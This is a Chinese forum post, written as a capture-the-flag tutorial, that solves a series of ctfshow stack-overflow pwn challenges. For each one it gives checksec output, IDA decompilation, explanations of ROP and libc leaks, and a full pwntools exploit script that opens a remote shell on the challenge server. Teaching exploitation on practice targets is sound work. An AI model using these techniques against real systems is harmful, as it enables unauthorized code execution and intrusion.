    在hint函数中存在system函数,接着查找可以构造shell的sh或者/bin/sh或者可以读取flag的字符串。搜查整个函数表后没有发现,那么这个时候我们应该怎么办呢?可以向可写入字段.bss字段写入/bin/sh等来配合构造shell。

    BSS 段是 Block Started by Symbol(符号起始块) 的缩写,是程序编译后生成的可执行文件 / 目标文件中,专门存放 未初始化的全局变量、静态变量 的内存段。

    .bss:0804B041                 align 20h
    .bss:0804B060                 public buf2
    .bss:0804B060 buf2            db    ? ;
    .bss:0804B061                 db    ? ;
    .bss:0804B062                 db    ? ;

    存在一个buf2从地址0804B060开始到0804B0C2结束的99字节连续未初始化内存空间,我们可以向这里写入/bin/sh来进行构造。
    什么你问0804B0C2-0804B060不是62转换过来应该是98吗?
    98是差值,不是字节数,举个例子从地址10到地址12,差值是12-10=2,但实际包含10、11、12三个字节——字节数 = 差值+1也就是2+1=3。

    payload及获取flag

    buf2写入数据时,我们还需要一个输入函数,常见的输入函数有:

    1. gets():最常用,直接读字符串。
    2. scanf():格式化输入。
    3. read():系统调用。
    4. fgets():跟gets()效果一样但是更安全。
      这里本来的文件中有gets()函数和scanf()函数这里选择gets()函数。直接在脚本中获取。现在可以开始写exp了吗?当然不行,32位系统中,参数是通过栈来进行传递的,当调用函数时参数从右向左压栈,然后调用函数,函数返回后,调用者清理栈。
      gets()函数返回时,从栈顶弹出返回地址也就是弹出p32(buf2)作为返回地址,程序跳转到buf2地址执行,程序可能会崩溃。所以这个时候我们需要加入一个pop ebx,使程序的执行逻辑变为gets(buf2)执行,参数是buf2,gets返回时,弹出p32(pop_ebx)作为返回地址,执行 pop ebx弹出p32(buf2)ebx寄存器(清理栈),pop ebx返回时,弹出p32(system)作为返回地址,使程序执行到system

      有点绕,举个例子

    没有pop_ebx:
    快递员(gets)送货到地址(buf2)
    快递员问:我送完货该去哪?
    你给错了地址:把货物地址(buf2)当成了下一个目的地 ❌
    有pop_ebx:
    快递员(gets)送货到地址(buf2)
    快递员问:我送完货该去哪?
    你说:去pop_ebx(专门处理快递单的地方)
    pop_ebx收走快递单(buf2)扔掉
    pop_ebx说:下一个去system ✅

    看完这个是不是容易理解了,接着找pop ebx的地址

    ROPgadget --binary ./pwn |grep "pop ebx"

    得到pop ebx的地址为0x08048409(这里的pop ebx地址是pop ebx ; ret的地址)
    完整脚本如下:

    from pwn import *
    context(arch='i386',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28252)
    elf=ELF("./pwn")
    system_adder=elf.sym['system']
    gets_adder=elf.sym['gets']
    buf2_adder=0x0804B060
    pop_ebx_adder=0x08048409
    payload=b'a'*(0x6c+4)+p32(gets_adder)+p32(pop_ebx_adder)+p32(buf2_adder)+p32(system_adder)+p32(0)+p32(buf2_adder)
    io.sendline(payload)
    io.sendline("/bin/sh")
    io.interactive()

    获取flag

    PWN 44

    分析一下

    check一下

    下载附件先check一下看看

    ➜  pwn44 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn44/pwn'     Arch:       amd64-64-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x400000)     Stripped:   No
  • 64位小端序,RELRO:Partial RELRO:RELPO保护部分开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时不需要泄露或者绕过carry地址。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x400000):无地址随机化,代码和数据的地址固定。Stripped:No:符号表没有剥离。

    IDA看看

    拖入64位IDA,先看看main函数

    int __fastcall main(int argc, const char **argv, const char **envp)
    {
      init(argc, argv, envp);
      logo();
      puts("get system parameter!");
      ctfshow();
      return 0;
    }

    跟32位的差不多依旧是输出logo,还有一条get system parameter,然后是ctfshow函数跟进分析一下,

    __int64 ctfshow()
    {
      char v1[10]; // [rsp+6h] [rbp-Ah] BYREF
    
      return gets(v1);
    }

    定义了一个字节大小为10的字符数组v1,起始地址距离栈基址rbp偏移了0xA个字节,然后通过gets()函数向v1写入数据。跟之前32位一样,寻找一下system函数

    int hint()
    {
      return system("no shell for you");
    }

    hint函数中成功找到system函数,不过system函数中依旧不是我们想要的shell,而是一句no shell for you,跟之前一样,去.bss段寻找能写入的地方。

    .bss:0000000000602080                 public buf2
    .bss:0000000000602080 buf2            db    ? ;
    .bss:0000000000602081                 db    ? ;
    .bss:0000000000602082                 db    ? ;
    .bss:0000000000602083                 db    ? ;
    .bss:0000000000602084                 db    ? ;
    .bss:0000000000602085                 db    ? ;

    .bss字段存在buf2,可以向其中写入数据。buf2起始地址0x602080

    payload及获取flag

    编写payload还需要什么?对的pop rdi

    ROPgadget --binary ./pwn |grep "pop rdi"

    得到pop rdi的地址是0x4007f3
    思路:先利用pop rdibuf2的地址存储到rdi寄存器中,调用gets函数,将rdi寄存器中的buf2地址作为参数,从输入中读取数据存储到buf2当中;再次利用pop rdibuf2的地址加载到rbi寄存器,调用system函数,将buf2的地址作为参数,执行指定命令。

    from pwn import *
    #context(arch='amd64',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28122)
    elf=ELF("./pwn")
    system_adder=elf.sym['system']
    gets_adder=elf.sym['gets']
    pop_rdi_adder=0x4007f3
    buf2_adder=0x602080
    payload=b'a'*(0xA+8)+p64(pop_rdi_adder)+p64(buf2_adder)+p64(gets_adder)+p64(pop_rdi_adder)+p64(buf2_adder)+p64(system_adder)
    io.sendline(payload)
    io.sendline("/bin/sh")
    io.interactive()

    成功获取flag

    PWN 45

    分析一下

    check一下

    下载附件先check一下

    ➜  pwn45 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn45/pwn'     Arch:       i386-32-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x8048000)     Stripped:   No
  • 32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时不需要泄露或者绕过carry地址。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):地址随机化没有开启,代码和数据的地址固定。Stripped:No:符号表没有剥离。

    IDA看看

    拖入32位IDA中进行查看,先看看main函数

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      init(&argc);
      logo();
      puts("O.o?");
      ctfshow();
      write(0, "Hello CTFshow!\n", 0xEu);
      return 0;
    }

    跟前面大差不差,依旧是输出logo,以及一条提示You can use write func to leak addr:你可以使用write函数来泄露地址。接着输出了一个表情O.o?,然后是ctfshow函数,下面还有一个write,跟进一下ctfshow函数。

    ssize_t ctfshow()
    {
      char buf[103]; // [esp+Dh] [ebp-6Bh] BYREF
    
      return read(0, buf, 0xC8u);
    }

    定义了一个字节大小为103的字符数组buf,起始地址距离栈基址ebp偏移了0x6B个字节。然后使用read函数向buf中读取0xC8个字节也就是200个字节。很明显的栈溢出。接着寻找一下看看有没有后门函数。很好没找到。

    payload及获取flag

    没有后门函数这个时候我们应该怎么办呢?自己构造啊,这个时候就需要引入一个新的东西libclibc是C标准库(C Standard Library)的缩写,全称是Library C,几乎所有的C程序都依赖libcsystem函数是libc标准库的一部分,而如何确定libc的版本呢? 我们可以通过泄露函数的地址来反推出libc的版本,可以想象每个libc版本就像一本不同的字典,每个函数在字典里有固定的页码(偏移),你知道了某个字在第100页,但不知道是哪本字典。通过“100页”这个信息,反查是哪本字典(哪个版本的libc)。
    write函数的原型为:

    ssize_t write(int fd,const void*buf,size_t count);

    fd是文件描述符,buf通常是一个字符串,需要写入的字符串;count:是每次写入的字节数。

    补充:PLT是过程链接表,GOT是全局偏移表。通俗一点就是PLT是“函数调用代理”,GOT是“地址记录表”。举个例子:你不知道张三的住址(函数实际地址),但知道李四(PLT表中的plt[write])是张三的代理;李四手里有个通讯录(GOT表中的got[write]),但第一次找他时,通讯录上没张三的住址,只写了 “去教务处(动态链接器 ld-linux.so)查地址”;你找李四 → 李四带你来教务处 → 教务处查到张三住址,更新到通讯录 → 你直接联系张三;下次再找张三,你找李四 → 李四直接从通讯录拿地址,带你去张三那(不用再去教务处)。一句话总结就是PLT是 “固定的调用代理”,GOT是 “可动态更新的地址表

    首先填充字节造成溢出,控制程序流到write函数的plt地址来调用write函数使其输出自己在内存中的真实地址,之后跟上main函数地址作为返回地址也就是,使地址泄露之后重新执行main函数,payload如下:

    payload=b'a'*(0x6B+4)+p32(write_plt_adder)+p32(main_adder)+p32(1)+p32(write_got_adder)+p32(4)

    p32(write_got_adder)要输出的内容所在的地址p32(4)使write函数的输出长度也就是count,p32(1)也就是fd,1表示标准输出,0为标准输入,这里都可以(终端是双向的)。p32(main_adder)在这里是write函数的返回地址。
    形象一点

    p32(write_plt)+p32(main)+ p32(0) + p32(write_got) + p32(4)
        ↑               ↑          ↑         ↑            ↑
      调用write      write的     参数1     参数2        参数3
                    返回地址

    有了wite got就可以计算libc的基址、system/bin/sh地址,然后跟之前一样正常构造即可。

    泄漏的函数地址 = libc基地址 + 函数在libc中的固定偏移
    ↓
    libc基地址 = 泄漏的函数地址 - 函数在libc中的固定偏移

    完整payload

    from pwn import *
    from LibcSearcher import *
    io=remote("pwn.challenge.ctf.show",28175)
    elf=ELF("./pwn")
    main_adder=elf.sym['main']
    write_plt_adder=elf.plt['write']
    write_got_adder=elf.got['write']
    payload=b'a'*(0x6B+4)+p32(write_plt_adder)+p32(main_adder)+p32(1)+p32(write_got_adder)+p32(4)
    io.sendline(payload)
    write=u32(io.recvuntil(b'\xf7')[-4:])
    print(hex(write))
    libc=LibcSearcher('write',write)
    libc_base=write-libc.dump('write')
    system_adder=libc_base+libc.dump('system')
    bin_sh_adder=libc_base+libc.dump('str_bin_sh')
    payload=b'a'*(0x6B+4)+p32(system_adder)+p32(0)+p32(bin_sh_adder)
    io.sendline(payload)
    io.interactive()
    

    libc.dump('write')write函数在libc中的固定偏移。查到的libc版本可能会有多个,可以挨个进行尝试,时间长了有经验了就能看出来了

    PWN 46

    分析一下

    check一下

    下载附件先check一下,

    ➜  pwn46 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn46/pwn'     Arch:       amd64-64-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x400000)     Stripped:   No
  • 64位小端序,RELRO:Partial RELRO:RELRO保护部分开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时不需要泄露或者绕过carry地址。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x400000):地址随机化没有开启,代码和数据的地址固定。Stripped:No:符号表没有剥离。

    IDA看看

    拖入64位IDA进行查看,先看看main函数

    int __fastcall main(int argc, const char **argv, const char **envp)
    {
      init(argc, argv, envp);
      logo();
      puts("O.o?");
      ctfshow();
      write(0, "Hello CTFshow!\n", 0xEuLL);
      return 0;
    }

    跟上一道题目差不多,输出logo和提示:You can use write func to leak addr:你可以使用write函数来泄露地址。然后依旧是我们的ctfshow函数,下面有write函数。跟进分析一下ctfshow函数。

    ssize_t ctfshow()
    {
      char buf[112]; // [rsp+0h] [rbp-70h] BYREF
    
      return read(0, buf, 0xC8uLL);
    }

    定义了一个大小为112字节的字符数组buf,起始地址距离栈基址rbp偏移了0x70个字节,也就是112个字节。然后通过read函数向buf读取0xC8个字节,也就是200个字节,很明显的栈溢出。接着找后门函数或者system函数之类的,依旧没有找到,跟上一道题目一样,需要依靠libc中的system以及/bin/sh来进行构造了。

    payload以及获取flag

    需要先获取设置寄存器的指令

    ROPgadget --binary ./pwn |grep "pop rdi"

    得到rdi的地址是0x400803,只有这个不够,write有三个参数,接着找rsi

    ROPgadget --binary ./pwn |grep "pop rsi"

    得到的是pop rsi ; pop r15 ; ret的地址是0x400801。这里因为只有这一个,需要我们在额外写入一个参数来进行占位。这里第三个寄存器rdx在程序中并没有找到,没关系,我们只要去掉第三个参数也可以,write函数没有第三个参数一般也可以运行原理就不写了感兴趣的可以查查
    完整payload

    from pwn import *
    from LibcSearcher import *
    #context(arch='amd64', os='linux', log_level='debug')
    io=remote("pwn.challenge.ctf.show",28170)
    elf=ELF("./pwn")
    write_plt_adder=elf.plt['write']
    write_got_adder=elf.got['write']
    main_adder=elf.sym['main']
    pop_rdi_adder=0x400803
    pop_rsi_r15_adder=0x400801
    payload=b'a'*(0x70+8)+p64(pop_rdi_adder)+p64(1)+p64(pop_rsi_r15_adder)+p64(write_got_adder)+p64(0)+p64(write_plt_adder)+p64(main_adder)
    io.sendline(payload)
    #io.sendlineafter("O.o?",payload)
    write=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
    print(hex(write))
    libc=LibcSearcher('write',write)
    libc_base=write-libc.dump('write')
    system_adder=libc_base+libc.dump('system')
    bin_sh_adder=libc_base+libc.dump('str_bin_sh')
    payload=b'a'*(0x70+8)+p64(pop_rdi_adder)+p64(bin_sh_adder)+p64(system_adder)
    io.sendline(payload)
    io.interactive()

    注意在第一个payload中p64(0)并不是作为write函数的第三个参数,而是单纯占位,对应前面我们使用的pop rsi ; pop r15 ; ret

    write=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))

    io.recvuntil('\x7f')接收数据直到看到字节\x7f,[-6:] 取最后6个字节,.ljust(8, '\x00')向左对齐,用\x00填充到8字节,u64() 将8字节转换为64位整数

    PWN 47

    分析一下

    check一下

    下载附件,先check一下

    ➜  pwn47 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn47/pwn'     Arch:       i386-32-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x8048000)     Stripped:   No
  • 32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时不需要泄露或者绕过carry地址。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):地址随机化没有开启,代码和数据的地址固定。Stripped:No:符号表没有剥离。

    IDA看看

    拖入32位IDA中进行查看,先看看main函数

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      setvbuf(stdout, 0, 2, 0);
      logo(&argc);
      puts("Give you some useful addr:\n");
      printf("puts: %p\n", &puts);
      printf("fflush %p\n", &fflush);
      printf("read: %p\n", &read);
      printf("write: %p\n", &write);
      printf("gift: %p\n", useful);
      putchar(10);
      ctfshow();
      return 0;
    }

    这次跟之前的变了便,初始化之后,打印logo,然后是输出Give you some useful addr给你一些有用的地址,然后输出putsfflushreadwrite函数地址,最后还有一个礼物,输出的是useful,跟进一下useful

    .data:0804B028 useful          db '/bin/sh',0          ; DATA XREF: main+AF↑o
    .data:0804B030                 db    0
    .data:0804B031                 db    0
    .data:0804B032                 db    0
    .data:0804B033                 db    0
    .data:0804B034                 db    0
    .data:0804B035                 db    0
    .data:0804B036                 db    0

    居然是/bin/sh,接着是ctfshow函数,跟进分析一下ctfshow函数

    int ctfshow()
    {
      char s[152]; // [esp+Ch] [ebp-9Ch] BYREF
    
      puts("Start your show time: ");
      gets(s);
      return puts(s);
    }

    定义了一个大小为152字节的s,起始地址距离栈基址ebp偏移了0x9C个字节,也就是156个字节。接着输出Start your show time:开始你的表演时间,接着gets函数读取数据到s中,前面说到过gets函数不会验证大小,一直读取到回车才结束,存在栈溢出。接着看看有没有system函数,没有system函数,没关系,使用之前的方法使用libc中的system函数。

    payload及获取flag

    首先肯定是获取libc地址,上面在main函数中会输出putsfflushreadwrite函数地址,直接拿来用就好了。如何拿来使用呢?先过滤掉之前的输入,然后读取剩下的字符。

    io.recvuntil("puts:")
    puts=eval(io.recvuntil("\n",drop=True)) 

    drop=True丢弃换行符,eval函数有安全风险,不过在解决pwn题目时我们一般不考虑安全问题,也可以使用

    puts = int(io.recvuntil("\n", drop=True), 16)

    来使用效果一样,这个更安全一点。
    完整脚本

    from pwn import *
    from LibcSearcher import *
    #context(arch='i386',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28123)
    elf=ELF("./pwn")
    io.recvuntil("puts:")
    #puts=eval(io.recvuntil("\n",drop=True)) 
    puts = int(io.recvuntil("\n", drop=True), 16)
    io.recvuntil("gift:")
    bin_sh=eval(io.recvuntil("\n",drop=True))
    libc=LibcSearcher("puts",puts)
    libc_base=puts-libc.dump("puts")
    system_adder=libc_base+libc.dump("system")
    payload=b'a'*(0x9C+4)+p32(system_adder)+p32(0)+p32(bin_sh)
    io.sendline(payload)
    io.interactive()

    当然也可以使用其他几个函数的地址

    from pwn import *
    from LibcSearcher import *
    #context(arch='i386',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28123)
    elf=ELF("./pwn")
    io.recvuntil("read:")
    read=eval(io.recvuntil("\n",drop=True)) 
    io.recvuntil("gift:")
    bin_sh=eval(io.recvuntil("\n",drop=True))
    libc=LibcSearcher("read",read)
    libc_base=read-libc.dump("read")
    system_adder=libc_base+libc.dump("system")
    payload=b'a'*(0x9C+4)+p32(system_adder)+p32(0)+p32(bin_sh)
    io.sendline(payload)
    io.interactive()

    运行即可拿到flag

    PWN 48

    分析一下

    check一下

    下载附件先check一下

    ➜  pwn48 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn48/pwn'     Arch:       i386-32-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x8048000)     Stripped:   No
  • 32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时不需要泄露或者绕过carry地址。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):地址随机化没有开启,代码和数据的地址固定。Stripped:No:符号表没有剥离。

    IDA看看

    拖入32位IDA中进行查看,先看main函数

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      init(&argc);
      logo();
      puts("O.o?");
      ctfshow();
      return 0;
    }

    初始化之后输出logo,以及提示You can use write func to leak addr:你可以使用 write 函数泄露地址,接着使用puts函数输出O.o?,接着依旧是ctfshow函数,跟进分析一下ctfshow函数

    ssize_t ctfshow()
    {
      char buf[103]; // [esp+Dh] [ebp-6Bh] BYREF
    
      return read(0, buf, 0xC8u);
    }

    定义了一个大小为103字节的字符数组buf,起始地址距离栈基址ebp偏移了0x6B个字节,接着使用read函数向buf读入0xC8个字节也就是200个字节,存在栈溢出。接着看看有没有后门函数或者system函数等。查找一圈发现没有,甚至write函数也没有,没关系我们有puts函数,比write函数还更容易利用。

    payload及获取flag

    跟之前使用write函数构造一样,只不过参数换成了一个,完整脚本

    from pwn import *
    from LibcSearcher import *
    #context(arch='i386',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28177)
    elf=ELF("./pwn")
    puts_plt_adder=elf.plt['puts']
    puts_got_adder=elf.got['puts']
    main_adder=elf.sym['main']
    payload=b'a'*(0x6B+4)+p32(puts_plt_adder)+p32(main_adder)+p32(puts_got_adder)
    io.sendline(payload)
    puts=u32(io.recvuntil(b'\xf7')[-4:])
    libc=LibcSearcher("puts",puts)
    libc_base=puts-libc.dump("puts")
    system_adder=libc_base+libc.dump("system")
    bin_sh_adder=libc_base+libc.dump("str_bin_sh")
    payload=b'a'*(0x6B+4)+p32(system_adder)+p32(0)+p32(bin_sh_adder)
    io.sendline(payload)
    io.interactive()

    成功拿到flag

    免费评分

    参与人数 8吾爱币 +7 热心值 +6 收起 理由
    FZZZP + 1 + 1 谢谢@Thanks!
    LXHYST + 1 热心回复!
    Sunny52 + 1 谢谢@Thanks!
    helian147 + 1 + 1 热心回复!
    HongHu106 + 1 + 1 谢谢@Thanks!
    Bluesky10 + 1 + 1 热心回复!
    jaffa + 1 谢谢@Thanks!
    EvalShell857 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

    查看全部评分

    发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

    沙发
    LXHYST 发表于 2026-2-24 19:26
    多谢大佬分享
    3#
    czy7057 发表于 2026-3-26 17:46
    4#
    ayi2007 发表于 2026-3-29 15:01
    5#
    AdventChildren 发表于 2026-3-30 09:18
    楼主能不能讲解一下全系列的house
    6#
     楼主| taoyangui 发表于 2026-3-30 10:07 |楼主
    AdventChildren 发表于 2026-3-30 09:18
    楼主能不能讲解一下全系列的house

    等更完栈溢出就更新堆
    7#
    jijie2026 发表于 2026-3-31 10:59
    插眼,感谢分享
    您需要登录后才可以回帖 登录 | 注册[Register]

    本版积分规则

    返回列表

    RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

    GMT+8, 2026-4-17 10:19

    Powered by Discuz!

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表